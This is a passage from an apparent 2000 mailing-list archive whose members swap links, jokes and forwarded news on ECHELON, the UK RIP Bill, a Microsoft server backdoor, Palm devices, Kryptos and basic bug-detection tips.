Zealand and Australia, as well as Britain) are said to listen to Europeans by using equipment set up during the cold war. A recent report for the European Parliament by a British journalist, Duncan Campbell, detailed how easily communications can be monitored. He described various sites in Britain (some used by American security services) where information is gathered and processed. This report, along with earlier ones and allegations in the French press, spurred demands from more than 170 MEPs for a further inquiry: it is a very dangerous attack on the sovereignty of member states, complained one speaker. The MEPs will get a temporary committee of inquiry and Portugal, the current president of the European Union, plans a discussion of industrial espionage for an informal meeting of the Council of Foreign Ministers next month. There are two broad accusations against Britain and its English-speaking allies: that they illicitly monitor communications among European governments and businesses, and share that information between themselves; and that such monitoring is done for commercial gain. The first claim is more plausible. Spying on allies is common practice, as is collaboration with other countries spies. Interception of communications is common too. But British intelligence co-operation with the United States is unusually close. One former foreign secretary objected that too much sensitive information about the EU was passed to America. David (now Lord) Owen, foreign secretary between 1977 and 1979, told a closed session of the Franks Committee (on
Fw: [daboyz] FW: POSSIBLE PROTESTS AND DEMONSTRATIONS 28TH APRIL - 1ST MAY
Usual apologies to members of 'daboyz' apart from to say 'Castle Park, Midday' -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 - Original Message - From: Nick Rigby [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, April 27, 2000 4:51 PM Subject: [daboyz] FW: POSSIBLE PROTESTS AND DEMONSTRATIONS 28TH APRIL - 1ST MAY Regards Nick Rigby Ministry of Sound Digital - 103 Gaunt Street London SE1 6DP Tel +44 (0) 20 7740 8751 Mobile +44 (0) 7970 082367 http://www.ministryofsound.com/ PLEASE ENSURE THAT YOUR TEAMS ARE AWARE OF THE ATTACHED NOTE CONCERNING POSSIBLE PROTESTS IN THE CITY TOMORROW. REGARDS, HELEN/55920 CONFIDENTIALITY: The information in this e-mail and any attachment is confidential. It is intended only for the named recipient(s). If you are not a named recipient , please notify the sender immediately and do not read, use, copy or disseminate this information. CONDITIONS: Any offer contained within this communication is subject to contract and formal approval by the legal entity giving the offer. 270400.DOC Accurate impartial advice on everything from laptops to table saws. http://click.egroups.com/1/3020/3/_/353779/_/956850737/ To Post a message, send it to: [EMAIL PROTECTED] To Unsubscribe, send a blank message to: [EMAIL PROTECTED] 270400.DOC
Re: Region 1 DVDs
--- F R E N D Z of martian --- Heh - Elkins has got loads of top tips... - Original Message - From: Mercedes . [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, April 26, 2000 9:55 PM Subject: RE: Region 1 DVDs --- F R E N D Z of martian --- I'll do it for tips. :) :m Does anyone know where I can buy American DVDs and get them shipped to the UK? (like CDNow won't) cheers, ___ Neil Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: Evolution Of A Linux User
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F R E N D Z of martian
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Evolution Of A Linux User
November 28, 1999
During the past year, the scientists in Humorix's Vast Research Lab Of
Doom have studied the behavior and attitude of the typical Windows and
Linux user. They have found that the average Linux user goes through ten
stages of development from a "Microserf" to an "Enlightened Linux User".
An eleventh stage, "Getting A Life", has also been observed, but only on
extremely rare occasions.
The 11 stages of evolution are summarized below. Note, however, that
this
life cycle is not universal. Many pundits, Microsoft stock holders, and
PHBs never advance beyond Stage 0 ("Microserf"). Moreover, many extreme
Slashdot addicts are stuck between Stages 6 and 7 ("Linux Zealot") and
never evolve to Stage 9 ("Enlightened Linux User"). And, unfortunately,
far too many people are unable to leave Stage 8 ("Back to Reality") and
achieve Geek Self-Actualization due to problems outside of their
control.
STAGE 0. MICROSERF
You are the number one member of the Bill Gates fan club. Your life
revolves around x86 computers running the latest version of Microsoft
solutions: Windows, Office, Internet Explorer, Visual Basic, and even
Bob.
You have nothing but hate for those eccentric Mac weenies with their
click-n-drool interfaces and those stone-age Unix oldtimers with their
archaic command lines.
You frequently send angry letters to your elected representative about
Microsoft's "freedom to innovative". You think lawyers are evil (unless
they are defending innovative companies like Microsoft). You own an
autographed copy of a book that was ghostwritten by Bill Gates. Your
blood boils when somebody forwards you a so-called Microsoft "joke" by
email.
In short, you are a Microserf.
STAGE 1. FEAR, UNCERTAINTY, DOUBT... ABOUT MICROSOFT
Your world-view begins to sour as you encounter a growing number of
annoyances with Microsoft products. The number of Blue Screens
increases, however you ascribe the problem (at first) to conflicts with
poorly written drivers that came with your peripherals. Icons keep
jumping around the desktop unpredicatably. You spend 30 minutes
one day idly searching for an obscure configuration option in the
Control Panel.
Slowly but surely, you begin to have doubts about the quality of
Microsoft software. Then, the Microsoft Network, to which you
have dutifully subscribed since 1995, begins to double bill your credit
card. You attempt to rectify the problem, but are stymied by the
burgeoning bureaucracy of Microsoft's Customer Support Department.
Fear sets in... will you get your money back?
Meanwhile, something called "Linux" appears on the fringe of your radar.
You immediately dismiss the idea of a viable and quality Microsoft
alternative (Linux is Unix-based and therefore must suck, you conclude).
Nevertheless, you wish something could be done for some of the
annoyances in Windows. But you do nothing about it.
STAGE 2. FEAR, UNCERTAINTY, DOUBT... ABOUT LINUX
You keep hearing about this Linux thing, and Open Source, and Apache,
and FreeBSD as well. One of your friends installs Linux and says, "It's
cool, dude!" You discover that the selection of Windows books at your
local
bookstore has remained constant while the Linux and Unix books are
multiplying like rabbits. You argue, "Well, this just means Linux sucks...
if there was such a large demand for it, there wouldn't be many books on
shelves."
Nevertheless, as time wears on and Windows becomes more fragile, the
temptation to give Linux a try becomes more and more irresistable. While
at your local SuperMegaOfficeSupplyStore, you pick up a boxed version of
Red Hat on impulse.
With much hubris, you completely ignore the documentation and attempt to
install the OS by the seat of your pants. The installation is a failure;
Linux simply cannot work with the WinModem, WinSoundCard,
WinIDEController, WinPrinter, WinMonitor, and WinDRAM that came with
your "Windows 98 Ready" machine from CompUSSR. You don't realize this
however, since you didn't read the FAQs and HOWTOs. You immediately
blame the problems on Linux and give up. You ditch your Red Hat copy by
selling it on eBay.
After the installation fiasco, you leave fearful, uncertain, and doubtful
about this "alternative" operating system. Windows may have its problems,
but Microsoft will fix them in the next upgrade, you reckon.
STAGE 3. BORN-AGAIN MICROSERF
"Linux sucks" is your new attitude towards life. Windows, all things
considered, ain't so bad. You resolve to become a better Microsoft
customer by participating in the Microsoft Developer Network and the Site
Builder Network. You buy a bunch of "study guides" to pass the MCSE
examination.
You launch a Windows advocacy site on some dinky free webpage provider,
utilizing the latest innovations in VBScript, ActiveX, and other
IE-specific features. Instead of lurking, you
Fw: Midi for the Pilot
--- F R E N D Z of martian --- Groovy MIDI interface plugs into yer Palm docking thingy... -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 - Original Message - From: Geraint Stimson [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, April 20, 2000 1:18 PM Subject: Midi for the Pilot http://fargo.itp.tsoa.nyu.edu/~gsmith/Pilot/PilotMidi.htm#MidiInt -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: GeeK: Area 51
--- F R E N D Z of martian --- Also http://www.blackvault.com/area_51.html -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 - Original Message - From: Mark Troyer [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, April 20, 2000 7:04 PM Subject: GeeK: Area 51 Information and satellite photographs of Groom Lake (Area 51): http://www.fas.org/irp/overhead/groom.htm -mark -- Mark Troyer - [EMAIL PROTECTED] | Biker Haiku - Brian Bonet Just Another Geek | on the road for days UUNet Server Operations | two wheels, an engine, and me 734/214-5992(v) 734/214-7555(f) | I don't brush my teeth -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: nettime Microsoft - Earth rotates in wrong direction
--- F R E N D Z of martian --- It must be true. It's on microsoft.com. -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 - Original Message - From: Hyper B. Orean [EMAIL PROTECTED] To: nettime-l [EMAIL PROTECTED] Sent: Wednesday, April 19, 2000 11:44 PM Subject: nettime Microsoft - Earth rotates in wrong direction http://support.microsoft.com/support/kb/articles/Q131/1/09.asp -- - Worldwide Support Explorapedia Nature: Earth Rotates in Wrong Direction -- - The information in this article applies to: Microsoft Explorapedia series: World of Nature for Windows, version 1.0 -- - SUMMARY When you run Explorapedia and use the Exploratron to look at the Earth spinning, the Earth rotates in the wrong direction. STATUS Microsoft has confirmed this to be a problem in Explorapedia, World of Nature, version 1.0. We are researching this problem and will post new information here in the Microsoft Knowledge Base as it becomes available. Additional query words: kbhowto mskids kids series explore turn turns spin spins bug error revolves revolving Keywords : Version : WINDOWS:1.0 Platform : WINDOWS Issue type : Last Reviewed: October 19, 1999 © 2000 Microsoft Corporation. All rights reserved. Terms of Use. Article ID: Q131109 Last Reviewed: October 19, 1999 Provided by Microsoft Product Support Services. -- - Did the information in this article help answer your question? Yes No Did not apply -- - # distributed via nettime: no commercial use without permission # nettime is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [EMAIL PROTECTED] and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: The Best Palm Pilot? And Fast!
--- F R E N D Z of martian --- All the Palms do much the same thing. Even the Handspring Visor. They mainly vary in terms of processor speed and memory, although the IIIc is colour. The V is more stylishly packaged though. Not sure about fax software but emails should be fine. Web browsing can be a bit weird - text only, or else a gateway server translates the web images to 2 bit monochrome for you... just slightly more complicated to set up. }One more thing: if I wanted to buy a color matrix Palm, and then needed }to get the external modem, could I then plug it into a cell phone? Are }there utilities for that? As long as the mobile phone has an infrared modem thing then it should be OK. The Palm modem is for plugging into POTS; my Palm happily goes online via the IR on my Nokia 7110. Hey there, Palm geeks. :) My friend is interested in purchasing a Palm Pilot -- and fast. He needs to have it by the 22nd of April, actually. And he's currently travelling around a foreign country, so I agreed to help him arrange a Palm Pilot by the time he gets back to England for three days, then off again. So, knowing some of you are keen on these things, I was wondering if I could get a quick reply. He needs a good Palm -- the best, preferably -- but the best deal as well (he's not travelling around on his *own* money, after all). He needs to be able to send e-mails, faxes, have whatever web capabilities he can have and be able to do it through a cell phone. He also would need to have some sort of picture-drawing capability as well. If any of you could give me some advice as to the best one to purchase by the end of the work day, it would be greatlyt appreciated. Hell, if any of you know a good place with good deals where he could purchase one, that would be even better. He's going to be in London for the majority of the days he's there, but he's going to try very hard to get back to his home in Devon before he's required to leave again. Assuming the M4 and the M5 still lie where they do, he'll be able to swing by Bristol if you have any hook-ups on the west side. -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
holding the ball
--- F R E N D Z of martian --- BT won't let go of the ball; they're having too much fun - but the Office of the US Trade Representative wants to play... Fw: nettime Covad/USTR threaten UK's BT: DSL or WTO -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 - Original Message - From: nettime's_roving_reporter [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, April 18, 2000 1:29 PM Subject: nettime Covad/USTR threaten UK's BT: DSL or WTO http://www.totaltele.com/view.asp?ArticleID=27061pub=ttcategoryid=0 U.S. slams BT over DSL access By Jane Dudman, CommunicationsWeek International 17 April 2000 The Office of the U.S. Trade Representative is considering taking a complaint against the United Kingdom to the World Trade Organization over access to BT's local network for third-party digital subscriber line service providers. The USTR has received submissions from DSL specialist Covad Communications Co., Santa Clara, California, that BT is preventing access to its network for DSL technology, and that regulator Oftel is failing to ensure the rollout of DSL services in the United Kingdom. A spokesman for Covad said complaints had also been filed to Oftel. Earlier this month, U.S. Trade Representative Charlene Barshefsky said the United Kingdom should implement "immediately" a European Union proposal that all EU member states allow competitive entry of DSL services, through unbundling and line-sharing arrangements. "We call upon the United Kingdom to implement this recommendation immediately consistent with its WTO commitment to allow reasonable and non-discriminatory access to BT's networks for suppliers of all telecommunications services," Barshefsky said in a statement. Barshefsky will review the U.S. demand on 15 June, but it appears unlikely that the U.K. position will have changed by that date. Oftel this month said third-party operators will be able to deliver DSL services to their customers via BT's local loop by July 2001. This timescale gives BT, which plans to install its own DSL equipment by this summer, a full year in which to get ahead of potential competition. "When BT rolls out its ADSL service, which is already in trial, [the market] will be asymmetric again, because BT will have had the [marketing] momentum for a year," said Michael Potter, director of telecoms and Internet investment company Paradigm Ventures. Rhian Ball, U.K. marketing director of San Jose, California-based Concentric Network Corp., which is taking part in U.K. DSL trials involving 14 companies, said her company has already experienced delays in getting its U.K. data center linked up to BT's DSL networks for the trial. "We are struggling against slow timescales," said Ball. "And we support any moves through industry bodies to push [them] forward." A U.S. Trade Representative official said a case against BT could be brought to the WTO if progress is not made quickly enough on local loop unbundling. The European Commission has recommended member states to ensure local loop unbundling by December 2000 and it is not yet clear whether this timescale will meet the U.S. government's demands for immediate action in the United Kingdom. "We are watching the situation," said the U.S. Trade Representative official. # distributed via nettime: no commercial use without permission # nettime is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [EMAIL PROTECTED] and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: nettime Secret Code in Microsoft Software
--- F R E N D Z of martian --- Shut that door! -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 - Original Message - From: nettime's roving reporter [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, April 14, 2000 2:44 PM Subject: nettime Secret Code in Microsoft Software April 14, 2000 Secret Code in Microsoft Software By The Associated Press NEW YORK (AP) -- Microsoft Corp. engineers included a secret password in Internet software that could be used to gain illegal access to hundreds of thousands of Web sites, The Wall Street Journal reported today. The rogue computer code was discovered in a three-year-old piece of software by two security experts, the newspaper said. Contained within the code is a derisive comment aimed at a Microsoft rival: ``Netscape engineers are weenies!'' Steve Lipner, who manages the company's security-response center, described such a backdoor password as ``absolutely against our policy'' and a firing offense for the as-yet unidentified employees. There have been no reports of site access through the code, but the affected software is believed to be used by many Web sites. The file, called ``dvwssr.dll'' is installed on Microsoft's Internet-server software with Frontpage 98 extensions. A hacker may be able to gain access to key Web site management files, which could in turn provide a road map to such things as customer credit card numbers, The Journal reported. Microsoft urged customers to delete the file and planned to warn customers with an e-mail bulletin and an advisory published on its corporate Web site. # distributed via nettime: no commercial use without permission # nettime is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [EMAIL PROTECTED] and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: New tune!
--- F R E N D Z of martian --- At long last, there's a new Merchant Bankers tune, albeit a remix of an older one. It's some remix, though... http://www.mp3.com/merchantbankers I'd have to agree, it kicks in like a killer... although ppl, I'd recommend getting to know the original 'NewsBunny' before downing NB2K, just so you can appreciate the difference... -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: [daboyz] FW: The world is a cruel place indeed
--- F R E N D Z of martian --- OK, some frendz are on 'daboyz' list but this is *so* funny... read the guestbook... note that all the entries date from yesterday at the earliest... - Original Message - From: Robin Grant [EMAIL PROTECTED] To: Wearedaboyz@Egroups. Com [EMAIL PROTECTED] Sent: Thursday, April 06, 2000 10:48 AM Subject: [daboyz] FW: The world is a cruel place indeed -Original Message- From: Toby Feldman Sent: 06 April 2000 09:49 To: Kelly McAdden; Sophie Cooper; Damon Fielding Subject: FW: The world is a cruel place indeed http://geocities.com/mrcapes/ http://geocities.com/mrcapes/ look at the visitors book after you read this Save 75% on Products! Find incredible deals on overstocked items with Free shipping! http://click.egroups.com/1/2711/3/_/353779/_/955014402/ To Post a message, send it to: [EMAIL PROTECTED] To Unsubscribe, send a blank message to: [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Gnutella
--- F R E N D Z of martian --- Hmm, now the site just says "5 Days and counting to a new world of Gnutella.." If anyone wants to try the current client before that gimme a shout. Open source napster-like thing for sharing files on a peer-to-peer basis. Isn't anarchism fun? Life, liberty and the *pursuit of happiness* ? Sounds like anarchism to me. http://gnutella.nerdherd.net/ rich -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Gnutella
--- F R E N D Z of martian --- Open source napster-like thing for sharing files on a peer-to-peer basis. Isn't anarchism fun? http://gnutella.nerdherd.net/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Hackers battle security, politicians...
Apparently techno DJs have a really bad time in Israel too, the Orthodox jews considering techno evil or something... - Original Message - From: kevin mccarthy To: [EMAIL PROTECTED] Sent: Saturday, April 01, 2000 7:29 AM Subject: Hackers battle security, politicians... Hi Martin et al, Israel of all places (I once had to go through an interrogation to get crypto kit out of the country, let alone to hold a hackers conference within it !)... http://www.it.fairfax.com.au/breaking/2331/A41419-2000Mar31.html This link comes from the www.securitysearch.net weekly mail shot - worth being on if you are not there already. K.
Fw: Internet social campaigning under threat
--- F R E N D Z of martian --- I actually took advantage of the 'fax your MP' thing at www.stand.org.uk, within a couple of weeks I had a substantial envelope through my door containing the draft bill, explanatory notes and the Hansard debate report. So I have all the info in my hands, but no time to read it. If anyone wants my copy, mail me and I'll stick it in the post. Martin - Original Message - From: Chris Keene (by way of Tony Gosling [EMAIL PROTECTED]) [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Sunday, April 02, 2000 3:19 PM Subject: Internet social campaigning under threat PLEASE FORWARD WIDELY PLEASE FORWARD WIDELY PLEASE FORWARD WIDELY RIGHT TO COMMUNICATE / Regulation of Investigatory Powers Bill forum Peaceful protest is a "serious crime" in the British government's Bill to intercept private email communication Statement from GreenNet In September last year, at a conference on British government plans to give police and intelligence services the right to read private email, Patricia Hewitt, the minister for e-commerce, claimed these plans were necessary "because crime has become global and digital and we have to combat this". What she omitted to mention was that one of the "crimes" the government was setting out to combat was the kind of peaceful protest actions that took place in Seattle at the WTO meeting. This has now been made crystal clear in the proposed Regulation of Investigatory Powers (RIP) Bill. Continuing with a definition first brought in by the Thatcher government to allow police to tap the phones of union members in the 1985 British miners' strike, the Bill specifically designates "conduct by a large number of persons in pursuit of a common purpose" to be "a serious crime" justifying an interception of their private email correspondence. The police requested that this measure be introduced in a report into the demonstration that took place at the City of London as part of an international day of protest actions on June 18th last year. There were violent clashes between the police and this initially non-violent demonstration. The group that organised the June 18th demonstration is a GreenNet user and much of the organisation for the international protest took place using GreenNet Internet facilities. If the RIP Bill had been in place last year there seems little doubt that the police would have applied for an order to force GreenNet to give them access to the private email of people involved in the June 18th events. The police would almost certainly have wanted a similar order over protest activities planned to coincide with the Seattle WTO meeting. Under the RIP Bill, they will now be able to obtain such facilities to spy on the activities of protest groups. Internet Service Providers (ISPs) will have to build "interception capabilities" into their systems. When served with an "interception warrant" they will be forced to intercept private email and convey its contents to the police or various intelligence services. Refusal to comply with a warrant will carry a maximum jail sentence of two years. "Tipping-off" someone that their email is being read is punishable by up to five years jail. This also applies to informing anyone not authorised to know about the interception warrant. The warrant will initially be served on a named individual within an ISP. They may inform only those other people they need to help them implement the warrant and these, in turn, face the same penalties for tipping-off. The only exception allowed is to consult legal advisors. A separate section of the Bill deals with encryption. This provides for "properly authorised persons (such as members of the law enforcement, security and intelligence agencies) to serve written notices on individuals or bodies requiring the surrender of information (such as a decryption key) to enable them to understand (make intelligible) protected material which they lawfully hold, or are likely to." Such an order can be served on anyone "there are reasonable grounds for believing" has an encryption key. They could face two years jail for not revealing the key and are also subject to the same possible five year jail sentence as ISPs for informing someone that attempts are being made by the authorities to read their email. This section of the Bill has been widely condemned by civil liberties lawyers as reversing the fundamental right of a person to be presumed innocent until proven guilty and will almost certainly be challenged using the European Convention on Human Rights. The British Bill is part of long term plans that have been developed since 1993 to give law enforcement bodies around the world the ability to intercept and read modern digital communications. In that year, the FBI initiated an International Law Enforcement Telecommunications Seminar (ILETS) for that purpose. The ILETS group has operated behind the back of elected
Re: Anyone know...
--- F R E N D Z of martian --- ...a good resource on countersurveillance? I would like to know how to detect small recording devices in my vicinity. I know it's paranoid, but as If it's the typical FM transmitter there is an easy way to detect it - get an FM receiver which covers the whole FM band (most radios don't) and sweep through the band, if you get a high pitched squeal you've got a transmitter in the room. The squeal is acoustic feedback, transmitted from the bug to the receiver and hence back round in a feedback loop. Okay, another question: anyone know of any out-of-the-way, relatively mild, quiet, peaceful principalities/countries? I want to escape this rapist It's pretty hard to live on this planet and escape all that... personally I'm planning on hiding away in Ireland :-) luvonya martian -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Uncrackable Codes
--- F R E N D Z of martian --- http://www.odci.gov/cia/information/tour/krypt.html That's just a picture of it - it's called 'Kryptos'. CIA agents practice their crypto on it in their spare time - with paper and pencil only... like you say, last time I knew it was still uncracked. The original story was on 'wired' but it seems to have fallen out of their DB... Martin - Original Message - From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Monday, April 03, 2000 12:50 PM Subject: Uncrackable Codes --- F R E N D Z of martian --- Hello All, I remember seeing a posting on this here list about some kind of 'erection' (no pun intended) in the states, which contained a code that nobody could break. It was situated in the grounds of a government agency or something. A URL would be nice for this if anyone knows/remembers what Im on about, Cheers, Brownie. Paul Brownsmith - Content Developer - Dell EMEA Online -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Uncrackable Codes
--- F R E N D Z of martian --- More sites for the Kryptos thing... http://elections98.washingtonpost.com/wp-srv/business/daily/july99/kryptos19 .htm http://204.202.137.112/onair/WorldNewsTonight/wnt9990615_ciacode.html This one claims a solution: http://members.aol.com/akaulins/expak/expak6.htm - Original Message - From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Monday, April 03, 2000 12:50 PM Subject: Uncrackable Codes --- F R E N D Z of martian --- Hello All, I remember seeing a posting on this here list about some kind of 'erection' (no pun intended) in the states, which contained a code that nobody could break. It was situated in the grounds of a government agency or something. A URL would be nice for this if anyone knows/remembers what Im on about, Cheers, Brownie. Paul Brownsmith - Content Developer - Dell EMEA Online -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Anyone know...
--- F R E N D Z of martian --- A great idea for office surveillance is to give the bug its own digital audio encoder and IP stack and go round replacing ethernet jack sockets... I can't imagine that these aren't already in use somewhere - imagine the advantage of one of those in the CEO's office - Original Message - From: kevin mccarthy [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Monday, April 03, 2000 8:41 PM Subject: Re: Anyone know... --- F R E N D Z of martian --- Hi, ...a good resource on countersurveillance? I would like to know how to detect small recording devices in my vicinity. I know it's paranoid, but as If it's the typical FM transmitter there is an easy way to detect it - get an FM receiver which covers the whole FM band (most radios don't) and sweep through the band, if you get a high pitched squeal you've got a transmitter in the room. The squeal is acoustic feedback, transmitted from the bug to the receiver and hence back round in a feedback loop. ...well this may not be sufficient - depends how paranoid one wants to be - if your office is open to external contractors e.g. cleaners or greenery maintainers then magnetic tape devices can be placed and removed out of hours - these require higher spec detection gear. There are also the Tempest type attacks (indeed a year or two back a new variant was added where a software virus was used to alter the VDU frequencies to transfer disk contents straight out of the window). [Then there are exchange based phone taps; a large US/UK spy base in Yorkshire; and I'm pretty sure the WAP/WTLS is still with weakened encryption - I can see why an alternate location appeals - my vote goes to Ireland also !] Anyway a couple of links for counter surveillance kit might include: http://www.spymaster.co.uk/ http://www.intpro.co.uk/ K. -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: GeeK: Monkey: FW: [fslist] which watch for a geek?
--- F R E N D Z of martian --- geeky timepieces... (most of the URLs will need cut-and-paste surgery) -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of Meng Weng Wong Sent: Monday, April 03, 2000 7:23 PM To: [EMAIL PROTECTED] Subject: [fslist] which watch for a geek? my trusty 10-year-old casio databank has been running a second fast per day since i put new batteries in. so i'm thinking, should i go for the wristwatch camera http://205.158.10.200/corporate/index.cfm?act=10ID=745CFID=123217CFTOKEN= 98515033 or the gps wristwatch http://205.158.10.200/timepieces/index.cfm?act=0Parent=40PID=1679CFID=123 217CFTOKEN=98515033 or the mp3 wristwatch http://205.158.10.200/timepieces/index.cfm?act=0Parent=82PID=1713CFID=123 217CFTOKEN=98515033 or the PDA i can hotsync with my palmpilot over IR http://205.158.10.200/mobileinformation/index.cfm?act=0PID=1717 (though matsucom's wrist-PDA looks nicer) http://www.pdazoo.com/cgi-local/SoftCart.exe/online-store/scstore/p-MTOH.htm l?E+scstore (but casio also has a full-screen model) http://205.158.10.200/timepieces/index.cfm?act=35CID=35Parent=35CFID=1232 17CFTOKEN=98515033 or maybe the one that's a cellphone wristwatch http://205.158.10.200/timepieces/index.cfm?act=0Parent=35PID=1317CFID=123 217CFTOKEN=98515033 or (rourke will like this one) the one that will make you the life of any superbowl party where the remote has gone missing http://205.158.10.200/timepieces/index.cfm?act=0Parent=35PID=69CFID=12321 7CFTOKEN=98515033 or maybe the one that i'll go rollerblading/running with http://205.158.10.200/timepieces/index.cfm?act=0Parent=37PID=127CFID=1232 17CFTOKEN=98515033 (ok, i lied, so maybe it's not really a cellphone, but this one is) http://www.eetimes.com/story/career/timespeople/OEG19991027S0051 but i don't know. i'll probably just stick to the good old databank. http://205.158.10.200/timepieces/index.cfm?act=0Parent=34PID=35CFID=12321 7CFTOKEN=98515033 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
No Subject
--- F R E N D Z of martian --- Hi frendz :-) Just faxed my MP again (via http://www.stand.org.uk/fax.php3) about the RIP (Regulation of Investigatory Powers) bill. Thought you might like to see my message (which consists mainly of someone else's scenario of how it might all go wrong) [Thanks Tony]. martian ... Dear Ms Corston Thank you for your recent communication enclosing the RIP bill and associated documentation including the relevant Hansard debate reports - what I have read has been most enlightening but unfortunately as a director of a relatively new internet development company I am afraid I do not have time to read them in any great detail. However, I came across a critique of the RIP bill which I thought you might wish to comment on, given your previous eloquent and informed response to my earlier questions. I would be very interested to hear the government's line on a situation such as is outlined below. Sincerely Martin Cosgrave Director, AppDev Ltd ---8--- Beginning of included text Suppose, just suppose, one is a PGP user. Suppose one writes out "Mary had a little lamb" a few times, and encrypts it to a newly invented key with no email address attached to it, a nameless public key that is not used for any purpose. Suppose one then deletes that key and its corresponding private key, and wipes any trace of them. Suppose one then sends copies of the encrypted message to a range of friends, who change it about here and there, and send it all over the place. Hundreds or thousands of emails consisting of a block of random meaningless characters. Suppose one receives such a message out of the blue, and the filth - sorry, police / MI5 / MI6 - turn up demanding decryption. What then? Neither sender nor receiver can decrypt the message. Will they be prosecuted and jailed? Is it possible one could send false PGP messages to people who don't even use PGP, and eventually get some of them in trouble because they cannot decrypt it? Is there not scope for serious mischief in this awful legislation, because the legislators and their advisers have no concept of the ways encryption operates, and the possibilities? I will take in as many encrypted messages as people care to send, preferably funny jokes. The more we send, the better. We should swamp the system with encrypted (or fake encrypted) messages, because it will not be an offence to send them. Soon enough, they will be forced to realise that when I send a PGP message, I do NOT include my public key in the encryption process, and so ONLY the addressee(s) (owner(s) of the public key(s) used) may be able to decrypt them. Then again, they may be false PGP messages. I won't be able to say which, and the recipients will not be able to decrypt them - or will they? Maybe there's some prior private arrangement that means the sender and recipient have a secret system (such as an agreed line-switching) that enables decryption after all, but which makes the message appear a false one? Geez, but there's going to be some grief over this. Here's my public key. All funny jokes welcome provided they are (a) funny and (b) PGPed! The good ones are stored for my book -BEGIN PGP PUBLIC KEY BLOCK- Version: PGPfreeware 5.5.3i for non-commercial use http://www.pgpi.com Comment: PGP means Pretty Good Privacy mQGiBDa6XW8RBADuPVB3LfgYlosdoOOtwKjTJ/Hkk/Tf1CCRDkepkNoCFnxVU7je uV4I94TsFv7Y5ZP2qXMM56aM7ly47SVcQuWzQXuhV6erxTnRoDk3sUASRRuzBYC5 YyW0xxfWLYGu0ST7mW/e9c7SbEof7gwTYXvtOA2aXp+dmh9jMRL9NClNBQCg/3aU RWUVJnzYGNg0nRAynsVMbWEEANcRxas7IxnYbpohMynHtaqWD/3hkKGUWpB3pXb0 iGNzjtD4WeDUGjZMpjbcv5AB5ZtAIxBo2sN6kPhtFgOIam+qlNBR86CQnQVCnQWu nTLcsLamQ3vX/enhLjS0ZR7ATW/AS6hIKKIbITjtWFTbfYHJevPItVF/sO7qZTRA mpjeA/wNOAgovprLNjnUTheEpzFp5DhoPxzhSRiir2cLUoBAtYI5gB1lHgGgRR44 GMGdDinrnY/HqMKomgXMCYqpoSWjJxQo1XLeiuSdiricvDIATR+nFp4K+t9s2nDR rLx7cEOxtgKKU61sGyvh7vRoY+/6QOGrA2PgJN2z3XV1yGD0dbQlQ2hhcmxlcyBG LiBZb3VuZyA8Q1lvdW5nMTA5N0Bhb2wuY29tPokASwQQEQIACwUCNrpdbwQLAwIB AAoJEB3QEi5ZFXJBxQkAn0qY4pmh7C0u5E+N4WG3eAPMP4GzAKCnT435Ct2YP9ij 